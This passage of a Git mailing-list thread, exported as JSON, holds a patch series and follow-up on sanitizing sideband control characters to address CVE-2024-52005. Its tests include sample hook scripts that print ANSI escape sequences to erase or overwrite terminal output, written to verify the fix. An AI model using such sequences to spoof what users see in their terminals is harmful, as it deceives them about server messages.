\t\t\treturn i;\n \t\t}\n@@ -128,7 +190,7 @@ static void strbuf_add_sanitized(struct strbuf *dest, const char *src, int n)\n {\n \tint i;\n \n-\tif (allow_control_characters == ALLOW_ALL_CONTROL_CHARACTERS) {\n+\tif ((allow_control_characters & ALLOW_ALL_CONTROL_CHARACTERS)) {\n \t\tstrbuf_add(dest, src, n);\n \t\treturn;\n \t}\n@@ -137,7 +199,8 @@ static void strbuf_add_sanitized(struct strbuf *dest, const char *src, int n)\n \tfor (; n && *src; src++, n--) {\n \t\tif (!iscntrl(*src) || *src == '\\t' || *src == '\\n') {\n \t\t\tstrbuf_addch(dest, *src);\n-\t\t} else if ((i = handle_ansi_color_sequence(dest, src, n))) {\n+\t\t} else if (allow_control_characters != ALLOW_NO_CONTROL_CHARACTERS &&\n+\t\t\t   (i = handle_ansi_sequence(dest, src, n))) {\n \t\t\tsrc += i;\n \t\t\tn -= i;\n \t\t} else {\ndiff --git a/t/t5409-colorize-remote-messages.sh b/t/t5409-colorize-remote-messages.sh\nindex e5092d3b42..896e790bf9 100755\n--- a/t/t5409-colorize-remote-messages.sh\n+++ b/t/t5409-colorize-remote-messages.sh\n@@ -128,4 +128,42 @@ test_expect_success 'disallow (color) control sequences in sideband' '\n \ttest_file_not_empty actual\n '\n \n+test_decode_csi() {\n+\tawk '{\n+\t\twhile (match($0, /\\033/) != 0) {\n+\t\t\tprintf \"%sCSI \", substr($0, 1, RSTART-1);\n+\t\t\t$0 = substr($0, RSTART + RLENGTH, length($0) - RSTART - RLENGTH + 1);\n+\t\t}\n+\t\tprint\n+\t}'\n+}\n+\n+test_expect_success 'control sequences in sideband allowed by default' '\n+\twrite_script .git/color-me-surprised <<-\\EOF &&\n+\tprintf \"error: \\\\033[31mcolor\\\\033[m\\\\033[Goverwrite\\\\033[Gerase\\\\033[K\\\\033?25l\\\\n\" >&2\n+\texec \"$@\"\n+\tEOF\n+\ttest_config_global uploadPack.packObjectsHook ./color-me-surprised &&\n+\ttest_commit need-at-least-one-commit-at-least &&\n+\n+\trm -rf throw-away &&\n+\tgit clone --no-local . throw-away 2>stderr &&\n+\ttest_decode_color <stderr >color-decoded &&\n+\ttest_decode_csi <color-decoded >decoded &&\n+\ttest_grep ! \"CSI \\\\[K\" decoded &&\n+\ttest_grep ! \"CSI \\\\[G\" decoded &&\n+\ttest_grep \"\\\\^\\\\[?25l\" decoded &&\n+\n+\trm -rf throw-away &&\n+\tgit -c sideband.allowControlCharacters=erase,cursor,color \\\n+\t\tclone --no-local . throw-away 2>stderr &&\n+\ttest_decode_color <stderr >color-decoded &&\n+\ttest_decode_csi <color-decoded >decoded &&\n+\ttest_grep \"RED\" decoded &&\n+\ttest_grep \"CSI \\\\[K\" decoded &&\n+\ttest_grep \"CSI \\\\[G\" decoded &&\n+\ttest_grep ! \"\\\\^\\\\[\\\\[K\" decoded &&\n+\ttest_grep ! \"\\\\^\\\\[\\\\[G\" decoded\n+'\n+\n test_done\n-- \n2.53.0-629-gb58d2f6a3e\n\n"},{"id":"538029","messageId":"20260305233452.3727126-6-gitster@pobox.com","threadId":"62809","inReplyTo":"20260305233452.3727126-1-gitster@pobox.com","subject":"[PATCH v5 5/7] sideband: offer to configure sanitizing on a per-URL basis","fromName":"Junio C Hamano","fromEmail":"gitster@pobox.com","sentAt":"2026-03-05T23:34:50Z","receivedAt":"2026-03-05T23:35:03Z","isPatch":true,"body":"From: Johannes Schindelin <johannes.schindelin@gmx.de>\n\nThe main objection against sanitizing the sideband that was raised\nduring the review of the sideband sanitizing patches, first on the\ngit-security mailing list, then on the public mailing list, was that\nthere are some setups where server-side `pre-receive` hooks want to\nerror out, giving colorful messages to the users on the client side (if\nthey are not redirecting the output into a file, that is).\n\nTo avoid breaking such setups, the default chosen by the sideband\nsanitizing patches is to pass through ANSI color sequences.\n\nStill, there might be some use case out there where that is not enough.\nTherefore the `sideband.allowControlCharacters` config setting allows\nfor configuring  levels of sanitizing.\n\nAs Junio Hamano pointed out, to keep users safe by default, we need to\nbe able to scope this to some servers because while a user may trust\ntheir company's Git server, the same might not apply to other Git\nservers.\n\nTo allow for this, let's imitate the way `http.<url>.*` offers\nto scope config settings to certain URLs, by letting users\noverride the `sideband.allowControlCharacters` setting via\n`sideband.<url>.allowControlCharacters`.\n\nSuggested-by: Junio Hamano <gitster@pobox.com>\nSigned-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>\nSigned-off-by: Junio C Hamano <gitster@pobox.com>\n---\n Documentation/config/sideband.adoc  |  4 ++\n sideband.c                          | 81 ++++++++++++++++++++---------\n sideband.h                          | 14 +++++\n t/t5409-colorize-remote-messages.sh | 24 +++++++++\n transport.c                         |  3 ++\n 5 files changed, 102 insertions(+), 24 deletions(-)\n\ndiff --git a/Documentation/config/sideband.adoc b/Documentation/config/sideband.adoc\nindex 2bf0426284..32088bbf2f 100644\n--- a/Documentation/config/sideband.adoc\n+++ b/Documentation/config/sideband.adoc\n@@ -22,3 +22,7 @@ sideband.allowControlCharacters::\n \t`true`::\n \t\tAllow all control characters to be sent to the terminal.\n --\n+\n+sideband.<url>.*::\n+\tApply the `sideband.*` option selectively to specific URLs. The\n+\tsame URL matching logic applies as for `http.<url>.*` settings.\ndiff --git a/sideband.c b/sideband.c\nindex 0b420ca319..a90db9e288 100644\n--- a/sideband.c\n+++ b/sideband.c\n@@ -10,6 +10,7 @@\n #include \"help.h\"\n #include \"pkt-line.h\"\n #include \"write-or-die.h\"\n+#include \"urlmatch.h\"\n \n struct keyword_entry {\n \t/*\n@@ -27,13 +28,14 @@ static struct keyword_entry keywords[] = {\n };\n \n static enum {\n-\tALLOW_NO_CONTROL_CHARACTERS  = 0,\n-\tALLOW_ANSI_COLOR_SEQUENCES   = 1<<0,\n-\tALLOW_ANSI_CURSOR_MOVEMENTS  = 1<<1,\n-\tALLOW_ANSI_ERASE             = 1<<2,\n-\tALLOW_DEFAULT_ANSI_SEQUENCES = ALLOW_ANSI_COLOR_SEQUENCES,\n-\tALLOW_ALL_CONTROL_CHARACTERS = 1<<3,\n-} allow_control_characters = ALLOW_DEFAULT_ANSI_SEQUENCES;\n+\tALLOW_CONTROL_SEQUENCES_UNSET = -1,\n+\tALLOW_NO_CONTROL_CHARACTERS   = 0,\n+\tALLOW_ANSI_COLOR_SEQUENCES    = 1<<0,\n+\tALLOW_ANSI_CURSOR_MOVEMENTS   = 1<<1,\n+\tALLOW_ANSI_ERASE              = 1<<2,\n+\tALLOW_DEFAULT_ANSI_SEQUENCES  = ALLOW_ANSI_COLOR_SEQUENCES,\n+\tALLOW_ALL_CONTROL_CHARACTERS  = 1<<3,\n+} allow_control_characters = ALLOW_CONTROL_SEQUENCES_UNSET;\n \n static inline int skip_prefix_in_csv(const char *value, const char *prefix,\n \t\t\t\t     const char **out)\n@@ -45,8 +47,19 @@ static inline int skip_prefix_in_csv(const char *value, const char *prefix,\n \treturn 1;\n }\n \n-static void parse_allow_control_characters(const char *value)\n+int sideband_allow_control_characters_config(const char *var, const char *value)\n {\n+\tswitch (git_parse_maybe_bool(value)) {\n+\tcase 0:\n+\t\tallow_control_characters = ALLOW_NO_CONTROL_CHARACTERS;\n+\t\treturn 0;\n+\tcase 1:\n+\t\tallow_control_characters = ALLOW_ALL_CONTROL_CHARACTERS;\n+\t\treturn 0;\n+\tdefault:\n+\t\tbreak;\n+\t}\n+\n \tallow_control_characters = ALLOW_NO_CONTROL_CHARACTERS;\n \twhile (*value) {\n \t\tif (skip_prefix_in_csv(value, \"default\", &value))\n@@ -62,9 +75,37 @@ static void parse_allow_control_characters(const char *value)\n \t\telse if (skip_prefix_in_csv(value, \"false\", &value))\n \t\t\tallow_control_characters = ALLOW_NO_CONTROL_CHARACTERS;\n \t\telse\n-\t\t\twarning(_(\"unrecognized value for `sideband.\"\n-\t\t\t\t  \"allowControlCharacters`: '%s'\"), value);\n+\t\t\twarning(_(\"unrecognized value for '%s': '%s'\"), var, value);\n \t}\n+\treturn 0;\n+}\n+\n+static int sideband_config_callback(const char *var, const char *value,\n+\t\t\t\t    const struct config_context *ctx UNUSED,\n+\t\t\t\t    void *data UNUSED)\n+{\n+\tif (!strcmp(var, \"sideband.allowcontrolcharacters\"))\n+\t\treturn sideband_allow_control_characters_config(var, value);\n+\n+\treturn 0;\n+}\n+\n+void sideband_apply_url_config(const char *url)\n+{\n+\tstruct urlmatch_config config = URLMATCH_CONFIG_INIT;\n+\tchar *normalized_url;\n+\n+\tif (!url)\n+\t\tBUG(\"must not call sideband_apply_url_config(NULL)\");\n+\n+\tconfig.section = \"sideband\";\n+\tconfig.collect_fn = sideband_config_callback;\n+\n+\tnormalized_url = url_normalize(url, &config.url);\n+\trepo_config(the_repository, urlmatch_config_entry, &config);\n+\tfree(normalized_url);\n+\tstring_list_clear(&config.vars, 1);\n+\turlmatch_config_release(&config);\n }\n \n /* Returns a color setting (GIT_COLOR_NEVER, etc). */\n@@ -80,20 +121,12 @@ static enum git_colorbool use_sideband_colors(void)\n \tif (use_sideband_colors_cached != GIT_COLOR_UNKNOWN)\n \t\treturn use_sideband_colors_cached;\n \n-\tswitch (repo_config_get_maybe_bool(the_repository, \"sideband.allowcontrolcharacters\", &i)) {\n-\tcase 0: /* Boolean value */\n-\t\tallow_control_characters = i ? ALLOW_ALL_CONTROL_CHARACTERS :\n-\t\t\tALLOW_NO_CONTROL_CHARACTERS;\n-\t\tbreak;\n-\tcase -1: /* non-Boolean value */\n-\t\tif (repo_config_get_string_tmp(the_repository, \"sideband.allowcontrolcharacters\",\n-\t\t\t\t\t      &value))\n-\t\t\t; /* huh? `get_maybe_bool()` returned -1 */\n-\t\telse\n-\t\t\tparse_allow_control_characters(value);\n-\t\tbreak;\n-\tdefault:\n-\t\tbreak; /* not configured */\n+\tif (allow_control_characters == ALLOW_CONTROL_SEQUENCES_UNSET) {\n+\t\tif (!repo_config_get_value(the_repository, \"sideband.allowcontrolcharacters\", &value))\n+\t\t\tsideband_allow_control_characters_config(\"sideband.allowcontrolcharacters\", value);\n+\n+\t\tif (allow_control_characters == ALLOW_CONTROL_SEQUENCES_UNSET)\n+\t\t\tallow_control_characters = ALLOW_DEFAULT_ANSI_SEQUENCES;\n \t}\n \n \tif (!repo_config_get_string_tmp(the_repository, key, &value))\ndiff --git a/sideband.h b/sideband.h\nindex 5a25331be5..d15fa4015f 100644\n--- a/sideband.h\n+++ b/sideband.h\n@@ -30,4 +30,18 @@ int demultiplex_sideband(const char *me, int status,\n \n void send_sideband(int fd, int band, const char *data, ssize_t sz, int packet_max);\n \n+/*\n+ * Apply sideband configuration for the given URL. This should be called\n+ * when a transport is created to allow URL-specific configuration of\n+ * sideband behavior (e.g., sideband.<url>.allowControlCharacters).\n+ */\n+void sideband_apply_url_config(const char *url);\n+\n+/*\n+ * Parse and set the sideband allow control characters configuration.\n+ * The var parameter should be the key name (without section prefix).\n+ * Returns 0 if the variable was recognized and handled, non-zero otherwise.\n+ */\n+int sideband_allow_control_characters_config(const char *var, const char *value);\n+\n #endif\ndiff --git a/t/t5409-colorize-remote-messages.sh b/t/t5409-colorize-remote-messages.sh\nindex 896e790bf9..3010913bb1 100755\n--- a/t/t5409-colorize-remote-messages.sh\n+++ b/t/t5409-colorize-remote-messages.sh\n@@ -166,4 +166,28 @@ test_expect_success 'control sequences in sideband allowed by default' '\n \ttest_grep ! \"\\\\^\\\\[\\\\[G\" decoded\n '\n \n+test_expect_success 'allow all control sequences for a specific URL' '\n+\twrite_script .git/eraser <<-\\EOF &&\n+\tprintf \"error: Ohai!\\\\r\\\\033[K\" >&2\n+\texec \"$@\"\n+\tEOF\n+\ttest_config_global uploadPack.packObjectsHook ./eraser &&\n+\ttest_commit one-more-please &&\n+\n+\trm -rf throw-away &&\n+\tgit clone --no-local . throw-away 2>stderr &&\n+\ttest_decode_color <stderr >color-decoded &&\n+\ttest_decode_csi <color-decoded >decoded &&\n+\ttest_grep ! \"CSI \\\\[K\" decoded &&\n+\ttest_grep \"\\\\^\\\\[\\\\[K\" decoded &&\n+\n+\trm -rf throw-away &&\n+\tgit -c \"sideband.file://.allowControlCharacters=true\" \\\n+\t\tclone --no-local \"file://$PWD\" throw-away 2>stderr &&\n+\ttest_decode_color <stderr >color-decoded &&\n+\ttest_decode_csi <color-decoded >decoded &&\n+\ttest_grep \"CSI \\\\[K\" decoded &&\n+\ttest_grep ! \"\\\\^\\\\[\\\\[K\" decoded\n+'\n+\n test_done\ndiff --git a/transport.c b/transport.c\nindex c7f06a7382..1602065953 100644\n--- a/transport.c\n+++ b/transport.c\n@@ -29,6 +29,7 @@\n #include \"object-name.h\"\n #include \"color.h\"\n #include \"bundle-uri.h\"\n+#include \"sideband.h\"\n \n static enum git_colorbool transport_use_color = GIT_COLOR_UNKNOWN;\n static char transport_colors[][COLOR_MAXLEN] = {\n@@ -1245,6 +1246,8 @@ struct transport *transport_get(struct remote *remote, const char *url)\n \n \tret->hash_algo = &hash_algos[GIT_HASH_SHA1_LEGACY];\n \n+\tsideband_apply_url_config(ret->url);\n+\n \treturn ret;\n }\n \n-- \n2.53.0-629-gb58d2f6a3e\n\n"},{"id":"538030","messageId":"20260305233452.3727126-7-gitster@pobox.com","threadId":"62809","inReplyTo":"20260305233452.3727126-1-gitster@pobox.com","subject":"[PATCH v5 6/7] sideband: drop 'default' configuration","fromName":"Junio C Hamano","fromEmail":"gitster@pobox.com","sentAt":"2026-03-05T23:34:51Z","receivedAt":"2026-03-05T23:35:05Z","isPatch":true,"body":"The topic so far allows users to tweak the configuration variable\nsideband.allowControlCharacters to override the hardcoded default,\nbut among which there is the value called 'default'.  The plan [*]\nof the series is to loosen the setting by a later commit in the\nseries and schedule it to tighten at the Git 3.0 boundary for end\nusers, at which point, the meaning of this 'default' value will\nchange.\n\nWhich is a dubious design.\n\nA user expresses their preference by setting configuration variable\nin order to guard against sudden change brought in by changes to the\nhardcoded default behaviour, and letting them set it to 'default'\nthat will change at the Git 3.0 boundary defeats its purpose.  If a\nuser wants to say \"I am easy and can go with whatever hardcoded\ndefault Git implementors choose for me\", they simply leave the\nconfiguration variable unspecified.\n\nLet's remove it from the state before Git 3.0 so that those users\nwho set it to 'default' will not see the behaviour changed under\ntheir feet all of sudden.\n\nSigned-off-by: Junio C Hamano <gitster@pobox.com>\n---\n Documentation/config/sideband.adoc | 1 -\n sideband.c                         | 6 ++----\n 2 files changed, 2 insertions(+), 5 deletions(-)\n\ndiff --git a/Documentation/config/sideband.adoc b/Documentation/config/sideband.adoc\nindex 32088bbf2f..96fade7f5f 100644\n--- a/Documentation/config/sideband.adoc\n+++ b/Documentation/config/sideband.adoc\n@@ -6,7 +6,6 @@ sideband.allowControlCharacters::\n \ta comma-separated list of the following keywords):\n +\n --\n-\t`default`::\n \t`color`::\n \t\tAllow ANSI color sequences, line feeds and horizontal tabs,\n \t\tbut mask all other control characters. This is the default.\ndiff --git a/sideband.c b/sideband.c\nindex a90db9e288..04282a568e 100644\n--- a/sideband.c\n+++ b/sideband.c\n@@ -33,8 +33,8 @@ static enum {\n \tALLOW_ANSI_COLOR_SEQUENCES    = 1<<0,\n \tALLOW_ANSI_CURSOR_MOVEMENTS   = 1<<1,\n \tALLOW_ANSI_ERASE              = 1<<2,\n-\tALLOW_DEFAULT_ANSI_SEQUENCES  = ALLOW_ANSI_COLOR_SEQUENCES,\n \tALLOW_ALL_CONTROL_CHARACTERS  = 1<<3,\n+\tALLOW_DEFAULT_ANSI_SEQUENCES  = ALLOW_ANSI_COLOR_SEQUENCES\n } allow_control_characters = ALLOW_CONTROL_SEQUENCES_UNSET;\n \n static inline int skip_prefix_in_csv(const char *value, const char *prefix,\n@@ -62,9 +62,7 @@ int sideband_allow_control_characters_config(const char *var, const char *value)\n \n \tallow_control_characters = ALLOW_NO_CONTROL_CHARACTERS;\n \twhile (*value) {\n-\t\tif (skip_prefix_in_csv(value, \"default\", &value))\n-\t\t\tallow_control_characters |= ALLOW_DEFAULT_ANSI_SEQUENCES;\n-\t\telse if (skip_prefix_in_csv(value, \"color\", &value))\n+\t\tif (skip_prefix_in_csv(value, \"color\", &value))\n \t\t\tallow_control_characters |= ALLOW_ANSI_COLOR_SEQUENCES;\n \t\telse if (skip_prefix_in_csv(value, \"cursor\", &value))\n \t\t\tallow_control_characters |= ALLOW_ANSI_CURSOR_MOVEMENTS;\n-- \n2.53.0-629-gb58d2f6a3e\n\n"},{"id":"538031","messageId":"20260305233452.3727126-8-gitster@pobox.com","threadId":"62809","inReplyTo":"20260305233452.3727126-1-gitster@pobox.com","subject":"[PATCH v5 7/7] sideband: delay sanitizing by default to Git v3.0","fromName":"Junio C Hamano","fromEmail":"gitster@pobox.com","sentAt":"2026-03-05T23:34:52Z","receivedAt":"2026-03-05T23:35:06Z","isPatch":true,"body":"From: Johannes Schindelin <johannes.schindelin@gmx.de>\n\nThe sideband sanitization patches allow ANSI color sequences through\nby default, preserving compatibility with pre-receive hooks that\nprovide colored output during `git push`.\n\nEven so, there is concern that changing any default behavior in a\nminor release may have unforeseen consequences. To accommodate this,\ndefer the secure-by-default behavior to Git v3.0, where breaking\nchanges are expected.\n\nThis gives users and tooling time to prepare, while committing to\naddress CVE-2024-52005 in Git v3.0.\n\nSigned-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>\n[jc: adjusted for the removal of 'default' value]\nSigned-off-by: Junio C Hamano <gitster@pobox.com>\n---\n Documentation/config/sideband.adoc  | 12 ++++++++++--\n sideband.c                          |  6 +++++-\n t/t5409-colorize-remote-messages.sh | 18 +++++++++++++-----\n 3 files changed, 28 insertions(+), 8 deletions(-)\n\ndiff --git a/Documentation/config/sideband.adoc b/Documentation/config/sideband.adoc\nindex 96fade7f5f..ddba93393c 100644\n--- a/Documentation/config/sideband.adoc\n+++ b/Documentation/config/sideband.adoc\n@@ -1,8 +1,16 @@\n sideband.allowControlCharacters::\n+ifdef::with-breaking-changes[]\n \tBy default, control characters that are delivered via the sideband\n \tare masked, except ANSI color sequences. This prevents potentially\n-\tunwanted ANSI escape sequences from being sent to the terminal. Use\n-\tthis config setting to override this behavior (the value can be\n+\tunwanted ANSI escape sequences from being sent to the terminal.\n+endif::with-breaking-changes[]\n+ifndef::with-breaking-changes[]\n+\tBy default, no control characters delivered via the sideband\n+\tare masked. This is unsafe and will change in Git v3.* to only\n+\tallow ANSI color sequences by default, preventing potentially\n+\tunwanted ANSI escape sequences from being sent to the terminal.\n+endif::with-breaking-changes[]\n+\tUse this config setting to override this behavior (the value can be\n \ta comma-separated list of the following keywords):\n +\n --\ndiff --git a/sideband.c b/sideband.c\nindex 04282a568e..5fb60e52bf 100644\n--- a/sideband.c\n+++ b/sideband.c\n@@ -34,7 +34,11 @@ static enum {\n \tALLOW_ANSI_CURSOR_MOVEMENTS   = 1<<1,\n \tALLOW_ANSI_ERASE              = 1<<2,\n \tALLOW_ALL_CONTROL_CHARACTERS  = 1<<3,\n-\tALLOW_DEFAULT_ANSI_SEQUENCES  = ALLOW_ANSI_COLOR_SEQUENCES\n+#ifdef WITH_BREAKING_CHANGES\n+\tALLOW_DEFAULT_ANSI_SEQUENCES  = ALLOW_ANSI_COLOR_SEQUENCES,\n+#else\n+\tALLOW_DEFAULT_ANSI_SEQUENCES  = ALLOW_ALL_CONTROL_CHARACTERS,\n+#endif\n } allow_control_characters = ALLOW_CONTROL_SEQUENCES_UNSET;\n \n static inline int skip_prefix_in_csv(const char *value, const char *prefix,\ndiff --git a/t/t5409-colorize-remote-messages.sh b/t/t5409-colorize-remote-messages.sh\nindex 3010913bb1..07cbc62736 100755\n--- a/t/t5409-colorize-remote-messages.sh\n+++ b/t/t5409-colorize-remote-messages.sh\n@@ -98,6 +98,13 @@ test_expect_success 'fallback to color.ui' '\n \tgrep \"<BOLD;RED>error<RESET>: error\" decoded\n '\n \n+if test_have_prereq WITH_BREAKING_CHANGES\n+then\n+\tTURN_ON_SANITIZING=already.turned=on\n+else\n+\tTURN_ON_SANITIZING=sideband.allowControlCharacters=color\n+fi\n+\n test_expect_success 'disallow (color) control sequences in sideband' '\n \twrite_script .git/color-me-surprised <<-\\EOF &&\n \tprintf \"error: Have you \\\\033[31mread\\\\033[m this?\\\\a\\\\n\" >&2\n@@ -106,7 +113,7 @@ test_expect_success 'disallow (color) control sequences in sideband' '\n \ttest_config_global uploadPack.packObjectsHook ./color-me-surprised &&\n \ttest_commit need-at-least-one-commit &&\n \n-\tgit clone --no-local . throw-away 2>stderr &&\n+\tgit -c $TURN_ON_SANITIZING clone --no-local . throw-away 2>stderr &&\n \ttest_decode_color <stderr >decoded &&\n \ttest_grep RED decoded &&\n \ttest_grep \"\\\\^G\" stderr &&\n@@ -138,7 +145,7 @@ test_decode_csi() {\n \t}'\n }\n \n-test_expect_success 'control sequences in sideband allowed by default' '\n+test_expect_success 'control sequences in sideband allowed by default (in Git v3.8)' '\n \twrite_script .git/color-me-surprised <<-\\EOF &&\n \tprintf \"error: \\\\033[31mcolor\\\\033[m\\\\033[Goverwrite\\\\033[Gerase\\\\033[K\\\\033?25l\\\\n\" >&2\n \texec \"$@\"\n@@ -147,7 +154,7 @@ test_expect_success 'control sequences in sideband allowed by default' '\n \ttest_commit need-at-least-one-commit-at-least &&\n \n \trm -rf throw-away &&\n-\tgit clone --no-local . throw-away 2>stderr &&\n+\tgit -c $TURN_ON_SANITIZING clone --no-local . throw-away 2>stderr &&\n \ttest_decode_color <stderr >color-decoded &&\n \ttest_decode_csi <color-decoded >decoded &&\n \ttest_grep ! \"CSI \\\\[K\" decoded &&\n@@ -175,14 +182,15 @@ test_expect_success 'allow all control sequences for a specific URL' '\n \ttest_commit one-more-please &&\n \n \trm -rf throw-away &&\n-\tgit clone --no-local . throw-away 2>stderr &&\n+\tgit -c $TURN_ON_SANITIZING clone --no-local . throw-away 2>stderr &&\n \ttest_decode_color <stderr >color-decoded &&\n \ttest_decode_csi <color-decoded >decoded &&\n \ttest_grep ! \"CSI \\\\[K\" decoded &&\n \ttest_grep \"\\\\^\\\\[\\\\[K\" decoded &&\n \n \trm -rf throw-away &&\n-\tgit -c \"sideband.file://.allowControlCharacters=true\" \\\n+\tgit -c sideband.allowControlCharacters=false \\\n+\t\t-c \"sideband.file://.allowControlCharacters=true\" \\\n \t\tclone --no-local \"file://$PWD\" throw-away 2>stderr &&\n \ttest_decode_color <stderr >color-decoded &&\n \ttest_decode_csi <color-decoded >decoded &&\n-- \n2.53.0-629-gb58d2f6a3e\n\n"},{"id":"545292","messageId":"xmqqzf11oz7a.fsf@gitster.g","threadId":"62809","inReplyTo":"20260305233452.3727126-8-gitster@pobox.com","subject":"Shipping 2.55 with stricter \"neuter sideband\" topic","fromName":"Junio C Hamano","fromEmail":"gitster@pobox.com","sentAt":"2026-06-11T15:48:25Z","receivedAt":"2026-06-11T15:48:27Z","isPatch":false,"body":"Junio C Hamano <gitster@pobox.com> writes:\n\nWas: Re: [PATCH v5 7/7] sideband: delay sanitizing by default to Git v3.0\n\n> From: Johannes Schindelin <johannes.schindelin@gmx.de>\n>\n> The sideband sanitization patches allow ANSI color sequences through\n> by default, preserving compatibility with pre-receive hooks that\n> provide colored output during `git push`.\n>\n> Even so, there is concern that changing any default behavior in a\n> minor release may have unforeseen consequences. To accommodate this,\n> defer the secure-by-default behavior to Git v3.0, where breaking\n> changes are expected.\n>\n> This gives users and tooling time to prepare, while committing to\n> address CVE-2024-52005 in Git v3.0.\n>\n> Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>\n> [jc: adjusted for the removal of 'default' value]\n> Signed-off-by: Junio C Hamano <gitster@pobox.com>\n> ---\n>  Documentation/config/sideband.adoc  | 12 ++++++++++--\n>  sideband.c                          |  6 +++++-\n>  t/t5409-colorize-remote-messages.sh | 18 +++++++++++++-----\n>  3 files changed, 28 insertions(+), 8 deletions(-)\n\nAs some of you may have noticed, Dscho's \"be more strict about\ncontrol code sequences used in sideband output and pass only the\nANSI color sequences by default\" series originally had this \"but\nuntil Git 3.0, be loose as before\" as the last step.  I kept this\nstep outside 'next' while the remainder graduated to 'master' for\nupcoming v2.55.0, hoping that it would give us a chance to measure\nhow this limiting negatively affects real-world users.\n\nThe merge of the stricter version happend about a month ago at\n7760f83b (Merge branch 'jc/neuter-sideband-fixup', 2026-05-11).\nLuckily, it seems that we haven't heard any complaints after it\nhappened.\n\nSo I plan to hold this step back indefinitely (aka \"retract this\nstep\"), which means that the \"neuter sideband\" topic will ship\nin its stricter form in Git 2.55.\n\nThoughts?\n"}]}